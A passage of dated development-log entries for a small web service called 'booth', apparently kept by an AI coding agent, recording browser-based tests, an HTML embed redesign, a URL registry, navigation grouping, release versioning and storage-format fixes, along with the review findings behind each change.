Final state: **10/10 falsifiable**, control green, the two extra rows being the
panel's own findings turned into falsifiers.
## What this is evidence for
U4 measured the problem (five of seven vacuous). U3 measured a pass working
(7/7), then measured **the pass's own blind spot**, then measured the fix's
blind spot. All three belong in the case if the vacuity-pass proposal is ever
put to the operator as a `/heid*` skill amendment — and the second and third
are the parts that stop it being adopted as a ritual that always passes.

# The browser became a test surface, and the version bound is the foot-gun
_2026-09-22 · booth_
U3 moved load-bearing logic out of Python and into JavaScript: which fragment
lands at which anchor, what gets appended, and whether a `<form>` scattered down
a report still owns the controls pointing at it. **The Python suite is blind to
every one of those.** Shipping U3 with only payload-shape tests would have
deleted ~10 real tests and replaced them with assertions that cannot see the
thing the operator actually depends on.
So `tests/test_embed_browser.py` drives a real Chromium against a real uvicorn
on an ephemeral port. 12 tests. It found nothing on the first run — but the
probe that preceded it settled a design question no amount of spec-reading
would have.
## The probe, and why it had controls
**Question:** if a control carrying `form="F"` is inserted into the DOM *before*
`<form id="F">` exists, does it become that form's control? The HTML spec resets
form owner on insertion and on the `form` attribute changing — it does NOT list
"a matching form was inserted later". The U3 design inserts fragments in visual
order, so this happens routinely.
Four conditions, N=3 each, in Chromium 151 headless:
| condition | `input.form?.id` |
|---|---|
| A — form inserted first (**positive control**) | `F, F, F` |
| B — control inserted first (**the question**) | `F, F, F` |
| C — `form="NOPE"`, no such form (**negative control**) | `null, null, null` |
| D — remove and re-set the attribute (the proposed fix) | `F, F, F` |
The positive control proves the instrument can see association at all; the
negative proves it is not manufacturing it. Without both, B's answer means
nothing — that is the whole lesson of
[[2026-09-22-vacuous-falsifiers]] applied before the code instead of after.
**The answer is: Chromium re-resolves it, so the fix is unnecessary there.**
The fix shipped anyway. **Sensitivity floor: ONE ENGINE.** The operator's own
browser was not measured, the failure mode is a form that looks filled in and
POSTs a 400, and the guard is three lines. The measurement says "not needed
here"; it does not say "not needed".
## The foot-gun, which bit before the tests were written
Browsers are **box-wide** in `/opt/ms-playwright` with
`PLAYWRIGHT_BROWSERS_PATH` wired globally — there is no per-project
`playwright install`. Each playwright release pins **one** Chromium revision, and
a release wanting a revision the shared store lacks dies with:
Executable doesn't exist at /opt/ms-playwright/chromium_headless_shell-1243/…
That is not a missing-dependency error and it does not name the real problem.
The store had 1223 / 1228 / 1234; `playwright` 1.63 wanted 1243. The mapping:
1.60 -> 1223 1.61 -> 1228 1.62 -> 1234 1.63 -> 1243
Hence `playwright>=1.60,<1.63` in `pyproject.toml`, **with the upper bound as the
point** and the reason in a comment beside it. A bare `playwright` would break
the suite on the next resolve, opaquely.
## The hermeticity trade, and how it is paid
A browser layer makes the suite non-hermetic — it can go red for an environment
reason. `tests/test_embed_browser.py` therefore **skips, never fails**, when
playwright or a usable browser is missing (`pytest.importorskip`, plus a
`pytest.skip` on any launch failure). `pytest -q` stays green anywhere; the
browser layer is purely additive.
⚠ **The failure mode of that choice: if those 12 tests start SKIPPING on this
box, U3's placement logic is untested and the suite still says green.** If the
count drops from 431, check the skip reason before anything else — the pinned
bound has probably drifted past the shared store.

# Three cold panels on one unit, and what each lens could only see alone
_2026-09-22 · booth_
U6 ran all three `/heid*` gates plus two in-session passes. **Every one of the
five found something the others structurally could not**, which is the
strongest evidence this repo has for running them all rather than picking one.
## The scoreboard
| gate | when | found |
|---|---|---|
| **seam review** (in-session, sibling-aware) | before code | **3 real contract defects** — a claim about a sibling test that was false, `resolve_booth` named as a per-row predicate when it RAISES 404, and silence on percent-encoding |
| **adversarial self-pass** (in-session) | during | **4 defects** — a FIFO hang, `unquote` leaking control characters, a fail-closed-by-accident guard, a stranded scratch file |
| **`/heid-contract-review`** (4 arms) | parallel | **the import/apply selection gap, 4-of-4** — plus per-field cap semantics, and two passages of the document contradicting each other |
| **`/heid-code-review`** (4 arms) | parallel | **3 surface-drift findings 4-of-4**, an IPv6 identity bug, and **a falsifier that could not fail** |
| **`/heid-bug-hunt`** (4 arms) | parallel | a `<div>` inside a `<span>`, a symlink disagreement, an append outside its lock |
## The three findings worth remembering
**1. The highest-value finding was a MISSING FEATURE, and the paraphrase lens
found it.** `bench import --apply` registered every candidate while the same
contract said ~14 of 35 were bookmarks that must stay on the board. The dry-run
report existed *because* the decision is not mechanizable — and then `--apply`
ignored it. A code-vs-contract lens cannot see this: the code matched the
contract. Only reading the contract *as prose*, for what it promises a human,
surfaces "these two sentences cannot both be satisfied."
**2. A falsifier that could not fail, again.** INV-4's tie-break test went
through the registry, and `_write_all` serializes with `sort_keys=True` — so
both insertion orders came back off disk already id-sorted, and removing the
tie-break left the test green. Same class as the five vacuous U4 falsifiers.
**We ran a vacuity pass and still shipped one**; a cold reader caught it. See
[[2026-09-22-vacuous-falsifiers]].
**3. The single sharpest line came from a cross-module memory no new-module
review could have.** Three bug-hunt arms independently noted that **this repo
had already paid for the `RecursionError` class in `marks.py`, with a test
documenting it — and the new module re-introduced the unguarded parse.** No
amount of reading `benches.py` in isolation surfaces that.
## Complementarity, measured in both directions on one diff
The bug-hunt panel found **three live defects the in-session pass missed** — all
three invisible to any test (a layout nesting, a symlink disagreement, a
lock-ordering race). The in-session pass had **already closed three of that
panel's four convergent findings** before the reply landed. Neither substitutes
for the other, and this round is the cleanest specimen of it so far.
**One finding was declined**, with reasoning recorded in the contract: on a host
where `booth.links` cannot be imported, `booth link` now refuses every URL
rather than only booth ones. A guard that fails open is not a guard, and that
state is a broken install where most of the CLI is equally broken.

# U3 landed — the page declares the seam, the Booth mounts into it
_2026-09-22 · booth_
**Ten regular expressions against author-written HTML are gone.** Six in
`wrap_verbatim_html` hunting for somewhere to hang a favicon and a chip, four in
`booth/inline.py` substituting rendered ask markup into the author's own tags.
What replaced them, in full:
```python
return html if declares_embed(html) else html + EMBED_SCRIPT_TAG
```
A substring test and a `+`. **Both of the old wrapper's hard constraints stopped
existing rather than being satisfied more carefully** — nothing can displace a
leading doctype into quirks mode and nothing can push the charset `<meta>` out
of its first-1024-byte window, because nothing in front of them ever moves.
## What moved where
| was | is |
|---|---|
| `wrap_verbatim_html` + 6 regexes | `embed_verbatim` — one `in`, one `+` |
| `booth/inline.py`, 119 lines | deleted; `form_id` survived into `app.py` |
| `_BACK_CHIP`, `asks_chip` | built in the DOM by `embed.js` |
| `inject_asks` | `GET /b/<name>/embed.json` + placement in `embed.js` |
| `_ask_inline.html`'s `styles()` | the CSS lives in `embed.js` |
| `FAVICON_LINK` string injection | `document.querySelector('link[rel~="icon"]')` |
**The fragments are still rendered by Jinja.** `embed.js` places what comes back
and never builds one — a second renderer in JavaScript would be the same bug
INV-1 exists to stop, in a new language. The payload also decides openness
(`open_marks`) and order, so the page has no opinion about either.
## The thing the contract got wrong, and the seam review caught
The payload first keyed `questions` by question key. **A single-question pick
normalizes to `questions: [{"key": None, …}]`** (`asks.normalize_ask`, the
`multi: False` branch), and `json.dumps` writes that key as the string `"null"`
— inventing a name that collides with a real key. Every one-question ask in the
fleet would have hit it, including the live `sindra-voice-1`. `questions` is a
LIST of `{key, html}` now; the key is nullable, and declaration order rides in
the format instead of leaning on object-key insertion order.
The cold contract panel could not have found this: it is a fact about
`booth/asks.py`, which an artifact-only reader never sees. Third time the seam
review has caught what the cold pass structurally cannot — see
[[2026-09-21-two-gates-are-complementary]].
## The live report that was already subtly broken
`dfa-concepts/index.html` writes `<div class="ask" data-booth-ask="dfa:logo">
<h3>The one asset that must survive</h3>`. `_EL_RE` matched the **opening tag**
and replaced it, so the author's `.ask` wrapper class vanished, the heading was
orphaned and the `</div>` went stray. Nobody filed a bug, because a page that is
95% right does not look broken.
`el.insertAdjacentHTML("beforeend", frag)` keeps the element and its contents
and puts the fragment inside. Verified live in a real browser: 5 author `.ask`
wrappers intact, 5 headings intact, 14 radios mounted inside them, zero console
errors. **The replacement is not just less fragile, it renders the operator's
own report more faithfully than the thing it replaced.**
## The cost, stated because it is real
The verbatim path used to work with **no JavaScript** — server-rendered ask, plain
form POST, HTML5 `form=` binding resolved at parse time. It needs the script now.
The operator's 2026-09-21 ruling accepts that; this entry records the consequence
so nobody meets it as a surprise. The never-invisible guarantee survives in a
weaker and still-true form through surfaces needing no script: the index card's
open-mark badge, and `/b/<name>/marks`.
## Anchor syntax
`data-booth-mark` is canonical (U2 made an ask one shape of mark).
`data-booth-ask` is a kept alias — 2 of the 4 live verbatim booths spell it that
way, in the operator's own reports, and the alias is one clause in one selector
string. The `<!-- booth:ask … -->` comment forms were **dropped, not ported**:
zero users across all 21 live booths, and a page that used one falls back to the
append path, so its ask still renders.
## Verification
431 tests (410 → 431). Live: all 21 booths 200, and each of the four verbatim
booths grew by exactly 46 bytes — `len(EMBED_SCRIPT_TAG)`, one append, nothing

# U6 landed — three surfaces, three jobs, one predicate
_2026-09-22 · booth_
**The sixth of seven v1 units. Only U7 is left.** 444 → 555 tests, suite green,
deployed and verified live: 23/23 booths 200, and the board renders **156 dead
of 221 rows** — the exact count an independent shell measurement produced before
a line of code was written, from two different implementations.
## What shipped
- **`booth/benches.py`** (new, stdlib-only AND sibling-free): `Bench`,
`normalize_bench_url`, lenient `read_benches`, strict `upsert_bench`,
`set_bench_state`, `remove_bench`, `order_benches`. Registry at
`~/booth-data/.benches.json` — a dotfile at the DATA ROOT, keyed by id, so two
rows with one identity are impossible by construction.
- **`links.booth_target`** — ONE predicate for "is this a booth URL", consumed
by three callers (the CLI refusal, the board's dead marker, `bench import`).
Host-agnostic and path-shaped; percent-decodes the name.
- **`booth link` refuses a booth URL**, names `booth new --why`, and writes
nothing — not even the board directory.
- **The board marks dead rows.** Removal stays the operator's two clicks through
the bulk control that already existed. Nothing in the unit deletes a row.
- **`booth bench add|ls|state|rm|import`**; `import` writes nothing without
`--apply` and never touches `links.md`.
- `docs/archive/links-2026-09-22.md` — the board archived verbatim into git.
## The decision that mattered most, and it was measured
**Identity is the FULL normalized URL, not the origin.** Collapsing the 43
non-booth rows by origin gives 19 groups; by full URL, 35. The difference is not
duplication — it is **eight distinct gitea repos merged into one**, three
unrelated HuggingFace model cards merged into one, and **the two LRPG surfaces
on `10.100.10.50:8321`, which are the IA doc's own example of two real benches**,
merged into one. Origin identity destroys more than it dedups. Full-URL identity
still collapses both cases the doc names (talk 5→1, Peedlar 3→1).
Query is IN the identity (three ShutterChute rows differ only by `?token=` and
are three real links); fragment is OUT; credentials are REFUSED, not stripped.
## The seam review earned it again — three real contract defects
Run in-session against the real `.py` files, after the cold panel was dispatched:
- **SR-1** — the contract claimed `test_stdlib_only` already forbids sibling
imports. **It does not**: its failure set is `{r for r in roots if r !=
"booth" and ...}`, which exempts `booth` on purpose. Only test_manifest.py has
the strict copy. INV-9 would have shipped untested.
- **SR-2** — the contract named `resolve_booth` as the dead marker's existence
check. That function is a closure inside `create_app` and **raises
HTTPException(404)** — per row, one swept booth would 404 the whole board page.
- **SR-7** — booth links are emitted through `quote(name, safe="")`, so a
predicate comparing the raw segment marks every encoded-name booth dead
forever.
SR-4 and SR-5 were **verified rather than assumed**: both `list_booths` and
`sweep_once` skip a child that is not a directory AND one whose name starts with
a dot, so the registry is safe from the sweeper by two guards, not one. Had
either been absent the design would have eaten its own registry on tick one.
## How it closed
All three cold gates came back and were folded in full, with exactly one finding
declined. Released as `v0.6.0` — see [[2026-09-22-u6-benches-released]] and
[[2026-09-22-three-cold-panels-on-one-unit]]. The tag waited for the gates, per
the v0.2.0 lesson, and that sequencing was right: the panels produced ten code
fixes after this entry was first written.

# U6 released as v0.6.0 — benches, and the number that was two defects
_2026-09-22 · booth_
**The sixth of seven v1 units. Only U7 remains.** 444 → 607 tests. Tagged
`v0.6.0` (minor, operator-approved). **NOT PUSHED** — push is his call.
## What shipped
- **`booth/benches.py`** — stdlib-only AND sibling-free. `Bench`,
`normalize_bench_url` (the identity), a lenient `read_benches` on the render
path and a strict `_load_strict` on the write path, `mkstemp` + `fsync` +
`os.replace` under an flock, and `order_benches` with a stated total order
`(state rank, name casefolded, id)`.
- **`links.booth_target`** — ONE predicate for "is this a booth URL",
host-agnostic, path-shaped, percent-decoding, control-character-rejecting,
never raising. Three callers: the CLI refusal, the board's dead marker,
`bench import`.
- **`booth link` refuses** a booth URL (naming `booth new --why`) and a
credentialed one, writing nothing in either case.
- **The board marks dead rows** — 161 of 221 live. Removal stays the operator's
two clicks through the bulk control that already existed. Nothing deletes.
- **`booth bench add|ls|state|rm|import`**. `--apply` REQUIRES the ids.
## The decision that shaped the unit, and it was measured
**The design doc's headline "69% rot" was two defects wearing one number**, and
splitting them is what made the unit the right size — see
[[2026-09-22-one-number-was-two-defects]]. 178 of 221 rows are booth
announcements (156 already dead) whose *cause* U5 had already closed; only 8 are
the bench re-post the registry fixes. A unit scoped off the unsplit number would
have built the registry, declared victory, and left 178 rows rotting.
**Identity is the FULL normalized URL, not the origin**, and that was measured
rather than chosen: origin identity merges eight distinct gitea repositories
into one row, three unrelated HuggingFace model cards into one, and the two LRPG
surfaces on `10.100.10.50:8321` — *the design doc's own example of two real
benches* — into one. It destroys more than it deduplicates.
**`booth link` is NOT deprecated**, against the design doc's plan. Roughly 14 of
the 35 distinct non-booth targets are reference bookmarks (repos, model cards,
docs) for which the board is the right and only home. Deprecating it would have
evicted a third of its live content. The IA doc is corrected.
## The gates
All four closed, and every one paid — see
[[2026-09-22-three-cold-panels-on-one-unit]]. Contract review
`01M35BWCJ806MT75NA630Y4WFH`, code review `01M35CK8YKEKMV7T15JXEF6A8N`, bug hunt
`01M35CRRK2RTVWWF1BN09AFQG3`, one consolidated reply sent to heid at
`01M35FY8QZTB9E5VR4WXDSBGEV`.
## Live evidence, unplanned
The sweeper ran mid-session: **23 booths → 19**, and dead board rows went
**156 → 161 in about fifteen minutes**. The defect compounding in real time
while the fix was being built — which is the argument for U6-before-U7 playing
out on its own.

# U7 landed — and the number that justified it did not reproduce
_2026-09-22 · booth_
**The last v1 unit is in.** The three ratified components landed at `a306e2d`;
the fourth — filename-prefix groups replacing subfolder sections — landed here,
with `test_no_group_rail_is_shipped_yet` deleted in the same commit that built
what it guarded against. **All seven v1 capabilities are now landed.**
## The part worth remembering: the contract's own measurement was wrong
The contract stated a rule and, beside it, a table of what that rule produced.
**They are not the same computation.** Implementing the stated rule and running
it against the live set:
| booth | contract claimed | stated rule actually gives |
|---|---|---|
| `sindra-corpus-v1` | 16 | 16 ✓ |
| `sindra-sfw-pool` | 10 | 10 ✓ |
| `sindra-nude-pool` | 12 | 12 ✓ |
| **`sindra-bakeoff`** | **5** | **24** |
| **`sindra`** | **1 (degenerate)** | **27** |
Three of five matched, which is what made it survive review. The two that did
not were **the two load-bearing rows**: bakeoff was the "this pays" evidence and
sindra was the degenerate case INV-3 was written for.
**The contract contradicts itself in plain sight and nobody caught it.** Its own
worked example says `00-sheet-c1-market-noon.png` has no trailing digit run and
therefore groups as its whole stem — which makes eight of bakeoff's forty images
eight singleton groups, so 5 was never reachable. And the numbers ARE
reproducible, just not by one rule: **first-two-segments gives exactly 5 on
bakeoff; first-segment gives exactly 1 on sindra.** The table was assembled from
two different heuristics and written up as one.
⚠ **A cold contract-review panel cannot catch this, and did not.** The panel
reads the artifact; the artifact is internally plausible. Only running the
stated rule against the live data falsifies it. **A measurement inside a
contract is not reviewed by reviewing the contract** — it is reviewed by
re-running it, and that is now a thing to do before implementing any contract
whose scope rests on a number.
## The degeneracy it guarded was the wrong one
INV-3 guarded **one group for everything** ("a rail with one entry cannot
navigate"). The live set's actual failure is the opposite: **one group per
item** — `pewpew-ui-brief` 23 groups for 34 items, `dfa-concepts` 13 for 20. The
contract as written would have shipped a 23-row rail that is a second copy of
the grid. INV-3 now guards both, with a live specimen each:
- **(a)** `sc-iso-spread` — `DSC0001.jpg`–`DSC0006.jpg`, one group of six.
- **(b)** `pewpew-ui-brief` — 23 groups, 19 of them singletons.
The shipped predicate, one line: **two or more groups, and the middle group
holding more than one item.** It gets all 17 booths right.
## The shipped rule, and why it differs
`strip ONE trailing run of digits` keys on the END of the stem, which is where
the *instance number* lives — so it splits `m-c1-market-noon-9401` from
`m-c2-rain-street-9403`, which are the same family. The shipped rule keys on the
**first separator-delimited segment**, where the family lives, destemming only
when the stem has no separator at all (so `ac01` → `ac`, but `v30-seed8302` and
`v35-seed8302` stay apart — that split is the axis `muse-clothed-repro` is
about).
Live result: `sindra-corpus-v1` renders `ac 12 · bu 10 · cu 12 · fb 12 · … ·
wu 8` over 66 images. `sindra-bakeoff` renders `00 · README · m · r`, which are
its three real families.
## Also true, and easy to trip on
**`miranda-is` and `sindra-voice-1` group beautifully and get no rail** — both
carry `index.html`, so they take the verbatim path and have no grid at all. A
measurement taken with `booth_items` alone predicts a rail for them; the route
does not. Measure the RENDERED surface, not the resolver, when the question is
"what will the operator see".

# U7 re-measured before scoping — sections are dead, filename prefixes are not
_2026-09-22 · booth_
**Pre-work, not the unit.** The standing instruction is "re-count the booths
before scoping U7". Done, on the live set (19 booths). No U7 code, no U7
contract — this exists so the scope call is a thirty-second read.
## The set as it actually is
| booth | items | images | subdirs | shape |
|---|---|---|---|---|
| `miranda-is` | 92 | 0 | 0 | report |
| `sindra-bakeoff` | 81 | 40 | **0** | gallery |
| `sindra-corpus-v1` | 66 | 66 | **0** | gallery |
| `sindra` | 61 | 30 | **0** | gallery |
| `sindra-sfw-pool` | 59 | 59 | **0** | gallery |
| `sindra-nude-pool` | 42 | 42 | **0** | gallery |
| `pewpew-ui-brief` | 34 | 1 | 7 | **report** |
| `dfa-concepts` | 21 | 14 | 1 | **report** |
| …11 more | ≤19 | | 0 | |
## Finding 1 — sections are worth ZERO, and this is now measured twice
**Not one gallery booth has a subdirectory.** Zero of eleven. The only two
booths with subfolders are both **reports**, the job where grid navigation
matters least, and `pewpew-ui-brief`'s seven subdirs hold one image.
The IA doc calls sections "most of the navigation fix". On this set they are
none of it. Cutting `Item.section` rendering from U7 costs nothing measurable.
(`Item.section` already exists from U1 and stays — this is about whether U7
builds a section RAIL, not about deleting a field.)
## Finding 2 — the grouping signal is in the FILENAME, and it pays
Tested two heuristics against every large gallery. Strip a trailing digit-run
from the stem and group on what remains:
| booth | images | groups | verdict |
|---|---|---|---|
| `sindra-corpus-v1` | 66 | **16** | useful |
| `sindra-nude-pool` | 42 | **12** | useful |
| `sindra-sfw-pool` | 59 | **10** | useful |
| `sindra-bakeoff` | 40 | **5** | useful |
| `sindra` | 30 | **1** | **degenerates** |
Specimens: `00-sheet-c1-market-noon.png`, `ac01.png`, `a01.png`,
`flag-rear.png`. The competing heuristic — split on the second hyphen — is
useless everywhere (59 "groups" from 59 files).
So a prefix heuristic pays on **4 of 5** large galleries and collapses to one
group on the fifth. **That is a filter/grouping affordance, not a section
rail**, and it must degrade gracefully to "one group" rather than render a
useless single-section rail.
## What this implies for the scope, stated as a recommendation not a decision
U7 as written is four things: sections, a sticky rail, filters, grid keyboard.
The measurement says **drop sections, keep the other three**, and consider
prefix-grouping as the thing sections were supposed to be — with a stated
degenerate case.
⚠ The sizing case has also changed: the unit was scoped against 270-item
booths and **the largest gallery is now 81 items / 40 images**. Everything
about virtualization stays parked ([[2026-09-21-ia-and-v1-gate-landed]] names
it); at 66 images a lazy grid is fine and measuring it first is the rule.
**The booth set churned again during this session** — `sindra-sfw-pool` (59
images) appeared and the `pancake-*` set went. Re-count again before writing
the contract; do not trust this table either.

# U7 is three-quarters built and blocked on one word
_2026-09-22 · booth_
**The last v1 unit, decomposed by what the operator has already ratified versus
what he has not.** ROADMAP's U7 row names four components. Three were already
approved there and are **built, tested and deployed** (`a306e2d`). The fourth is
a scope departure and is **deliberately not built**.
| component | ROADMAP | state |
|---|---|---|
| sticky rail | ratified | **landed** — totals + per-filter counts |
| filters | ratified | **landed** — all / flagged / annotated / unanswered |
| grid keyboard | ratified | **landed** — `←/→ f n Enter Esc`, bound only when a grid exists |
| **sections → filename groups** | **departs** | **NOT BUILT** |
`tests/test_navigation.py::test_no_group_rail_is_shipped_yet` fails the moment
somebody builds the group rail anyway, so the departure cannot arrive by
accident while the ruling is outstanding.
## The question, and why it is his
**Drop subfolder sections for filename-prefix groups — yes or no?**
Measured (see [[2026-09-22-u7-remeasured-before-scoping]]): **zero of eleven
gallery booths have a subdirectory**, so sections buy nothing; stripping a
trailing digit-run from the stem yields **5–16 sensible groups on four of the
five large galleries** and degenerates to one group on the fifth. The
replacement is better on the evidence — but swapping a ratified component for
an unratified one is scope direction, not implementation.
Contract at `docs/contracts/u7_navigation.contract.md`, status
`PARTIALLY LANDED`, with the departure named as the operator's call.
## Decisions taken under stated assumption, both cheap to reverse
- **`unanswered` means HAS AN OPEN PICK** — the U4 hold predicate, which already
exists. The other reading ("has no mark at all") is a genuinely different
question and stays an open question on the contract.
- **Filters are LINKS, not scripts**, resolved server-side, so the gallery keeps
working with JavaScript off. U3 cost the verbatim path its no-JS operation and
said so plainly; the gallery is the surface the operator actually reviews on,
and this unit does not repeat it there.
## The vacuous falsifier, written an hour after the entry about them
`test_filtering_never_reorders` compared each filtered view against the
**unfiltered response** — so a mutation reversing the order reversed both sides
and it **stayed green under the exact change it forbade.** Caught only by
running the mutation rather than trusting the assertion.
Rewritten against an independent truth: U1 INV-3 says the order IS `sorted(rel)`,
so each view must be sorted, full stop, with no reference to another response.
Re-verified RED. **Every new falsifier in this session was mutation-checked
after this**, and that is the practice to keep — see
[[2026-09-22-vacuous-falsifiers]].

# v1.0.0b1 — the v1 target staged as a beta, and a version that was two copies
_2026-09-22 · booth_
**All seven v1 units landed, so the operator cut `1.0.0b1`** — the first release
of the 1.x train, deliberately a BETA rather than a final. Tag `v1.0.0b1`,
annotated (milestone), commit `3126dec`.
**The beta is the right vehicle and not a hedge.** The canonical policy defines
`-beta.N` as feature-complete, external testing, no new features, focus on bugs
— which is exactly this state, with a cross-frontier bug-hunt panel outstanding
on U7's diff. This repo already paid for the alternative once:
[[2026-09-21-v020-tagged-with-a-gate-in-flight]] — v0.2.0 was tagged AND
announced while a panel was in flight, the panel found three defects in the
just-released code, and v0.2.1 shipped within the hour. **A beta is the designed
answer to that, not a workaround for it.**
## Version format, decided and worth not re-deriving
- `pyproject.toml` carries **`1.0.0b1`** — PEP 440, which is what the packaging
tool normalizes `1.0.0-beta.1` to anyway.
- The git tag is **`v1.0.0b1`**, matching the artifact string exactly rather
than carrying a SemVer spelling the wheel does not. One string, no translation
layer.
- Ordering verified: `0.6.1 < 1.0.0b1 < 1.0.0`.
## ⚠ The version was TWO copies, and the obvious fix was the wrong one
`booth.__version__` was the literal `"0.1.0"` and had been wrong through six
releases. Nothing reads it, which is why nobody noticed.
**The reflex fix — derive it from `importlib.metadata` — is WRONG HERE, and
measurably so.** This repo has no build step and no install step: `booth.service`
runs uvicorn with `WorkingDirectory` set to the tree, so the running code IS
this checkout. Installed metadata describes a different artifact. The venv was
carrying a vestigial `booth-0.3.0.dist-info` **with no package directory behind
it**, so `importlib.metadata.version("booth")` returned `0.3.0` for a tree at
`1.0.0b1` — confidently wrong, and varying by environment, which is worse than
a literal that at least fails the same way everywhere.
It now reads `pyproject.toml` via `tomllib`, with metadata as the fallback for
the wheel case this repo does not have. **The test asserts the ABSENCE OF A
LITERAL, not agreement with pyproject** — comparing the two would be circular
and would prove only that the read works. The defeating change is hardcoding a
number back in, and that is what is caught.
## ⚠ `booth/__init__.py` is a FOURTH stdlib-only module
`scripts/booth` imports `booth.links` / `booth.marks` / `booth.manifest` under
the SYSTEM python3 with no venv — and every one of those executes the package
root first. So a single third-party import in `__init__.py` breaks `booth ask`
on every fleet host exactly as one in the documented three would, and **nothing
asserted it.** `test_stdlib_only` now covers `__init__`; `tomllib` is stdlib and
`requires-python` is `>=3.11`, so the pyproject read is safe there. Verified by
running the real import chain under `/usr/bin/python3` 3.11.2 with no venv.
## Handoff sent
The SVOS design-system retrofit went to `design-dev` (althing thread
`01M369321KNBPZ7FYDQGZG7AXP`) — the IA is ours and settled, the visual and
interaction system is his. **ACCEPTED in-session within five minutes**; he
declined a `/vor-ui` brief on the grounds that the IA doc, the landed templates
and the seven constraints already are one, and a `/vor-ui` pass would cost the
operator a serial Q&A to re-derive IA we had already measured. Agreed.
⚠ **A `postbox send` note is a POINT-IN-TIME SNAPSHOT, not a durable fact about
a handle.** The send response said `design-dev: pull-only; last read
2026-09-21T18:44Z`, and this file first recorded that as standing truth —
including a "silence is not a decision" warning built on it. `postbox handles`
says **`design-dev push reachable`**, and his reply landed in-session. Read the
mode from `postbox handles` when it matters; never promote a send-time note into
memory.

# The blur round-trip, and the migration that recreated the bug it fixed
_2026-09-23 → 2026-09-24. Operator: "fix the blur." Commits `4cfbce5`,
`c1f5543` (merged `6880ab3`), `8a78a9b`._
## The defect
design-dev's r2b bug-hunt found the `/blur` route stripping `f`, so the form for
`" a.png"` blurred `"a.png"`. The route was only half of it: `.blurred` was one
stripped rel per line, so NO writer could store a rel with edge whitespace or a
newline. There were no live victims (6 legacy files, 42 rels, none with edge
whitespace; 0 live filenames with edge whitespace), so it was latent.
## Round 1 (`4cfbce5`)
- JSON array (the `.seen` shape) through a new stdlib-only `booth/blur.py`, so
the CLI and the service share one reader and one writer. The CLI had its own
grep/printf line writer, and after the format change it would have appended a
line to a JSON array.
- `Item.blurred_self` resolved in `booth_items` from the same read as
`blurred`, replacing build_gallery's second `read_blurred`. That was a
two-reads-of-one-file seam (invariant 3).
- Built in a git worktree, because `scripts/booth` imports from the deployment
root LIVE: a half-built blur.py would have broken `booth blur` for every
session mid-TDD.
## Round 2: heid bug-hunt (hulda, regin, kimi; groa timed out) → `c1f5543`
- **3/3: the migration recreated the bug.** JSON went into the OLD file name
and the reader sniffed the format. A legacy file whose one line is an item
named `["a.png"]` parses as JSON and blurs the neighbour. The docstring
claimed that case was handled, and it wasn't. Fix: a NEW name,
`.blurred.json`. The legacy `.blurred` is lines only, read only while
`.blurred.json` is absent, and retired by the first write.
- 2/3 + one: a planted directory 500'd the write path; the read path was
hardened and the writer was not. Fix: the writer is judged by its reader (a
postcondition), with BlurUnwritable answered as a 409.
- hulda (execution-verified): a lone surrogate `"\ud800"` in planted JSON made
every later write raise UnicodeEncodeError. Now dropped on read.
- 2/3: the writer had no size cap, and the reader reads an oversized file as
EMPTY. The writer now refuses first.
- 2/3: the CLI's `*..*` refused `a..b.png`, which the route accepted. There's
now one `check_rel` predicate for both, which also refuses an empty rel.
- kimi: `booth blur` without its package printed a bare traceback. It now
fails closed with exit 3, like `link`.
- Declined: the Item positional-constructor break (booth_items is the only
constructor, INV-1); the fdopen fd leak and the short read (not
constructible on a local fs, the `.seen` shape); unreadable reads as
revealed (blur is cosmetic, the `.seen` posture).
## Round 3: groa's late retry → `8a78a9b`
Its four bugs were the same four, already fixed. Its 0600 note ("a cross-uid
reader sees nothing and replaces it") exposed the real gap: `set_blurred`
built on `read_blurred`, the renderer's LENIENT reader, so an unreadable,
oversized or malformed file became an empty set and was overwritten. That is
the `.marks.json` wipe of 2026-09-21
([[2026-09-21-tolerant-writer-over-tolerant-reader]]), repeated in a new module
and live for one night. Fix: `_load` is one parse with two postures (strict
for the writer, lenient for the renderer). It refuses only for a REGULAR file
it cannot read, since a link, a directory or a FIFO holds no set to lose. The
file is 0644 again.
## Mutation notes
- `blur_storage.toml` is 25/25.
- One row was vacuous on its first run (`set() or X` is `X`).
- Two open-flag rows went vacuous once `_load` lstat-checked for a regular
file first. They're now proved by direct `_read_capped` tests, because they
still close the lstat-to-open race.

# Creation dates, and three guesses wearing a fact's clothes
_2026-09-23 · booth_
The operator asked for creation and update dates on booths. **Update** was
already there — `landed_at`, the newest mtime among CONTENT excluding our own
machinery. **Creation** had no honest source, and the interesting part is the
three wrong answers.
## Only 18 of 30 booths could state a creation time
`.booth.json` carries a declared `created`, but it exists only for booths posted
through the CLI since U5. Twelve live booths had nothing.
## ⚠ Every convenient substitute was a GUESS PRESENTED AS A FACT
- **Oldest content mtime** — wrong the moment an agent copies files with
timestamps preserved (`cp -p`, `rsync -a`), which is common. It would report
the SOURCE material's age as the booth's.
- **Directory mtime** — that is "last thing added", i.e. `landed_at` under a
second name. Two fields, one meaning, displayed as if they were different.
- **Stamp a first-seen marker on read** — and this is the one worth flagging,
because it is the same write-on-read shape that had *already* cost this
service an hour that same day when the thumbnail cache aged the booth it
cached ([[2026-09-23-the-cache-that-aged-the-thing-it-cached]]). A fix whose
shape you just finished paying for is not a fix.
## The answer was a fact the disk already held
**ext4 records a real birth time.** CPython does not expose `st_birthtime` on
Linux, but `statx(2)` does and glibc has wrapped it since 2.28, so
`booth/birthtime.py` reads it through `ctypes`. Verified against `stat(1)` on
live booths: **6 of 6 exact**, including every booth with no manifest.
One rule for all thirty, which is what invariant 6 asks of anything statable in
a line. `None` when the filesystem cannot say (tmpfs, NFS, an old kernel), and
**None renders as nothing** — a blank is the honest output when nobody knows,
and better than a plausible number.
**The generalisable bit:** when a fact seems unavailable, check whether the
system already records it before reaching for a proxy. Three plausible proxies
were considered and one was nearly built; the real answer was a syscall away.

# The Desk's "Everything else" sorts by last UPDATE, not last activity
_2026-09-23. Commit `64f6488`. Operator: "how is this last activity first?",
then "Easier — last activity can just be last time the booth was updated, not
necessarily operator's last activity."_
## What was wrong
- The section sorted by `_newest_mtime`, which counts `.viewed`. Every GET of a
booth, marks or review page records a look.
- Two sessions' post-deploy GET sweeps (17:48 and 21:46, both 127.0.0.1)
recorded a look at 22 booths within half a second. The section collapsed
into reverse name order through the `(mtime, name)` reverse tie-break.
- The rows show "updated X ago" (`landed_at`), a different clock from the sort.
- The same sweeps emptied "new since you looked". The access log showed 3
booths never opened from a 10.0.10.x or 100.64.x device: `dfa-landing`,
`ldp-polish`, `pewpew-ui-brief`.
- **The operator declined repairing `.viewed` from the log** (the mesh IPs
can't be attributed with certainty), and declined gating views on
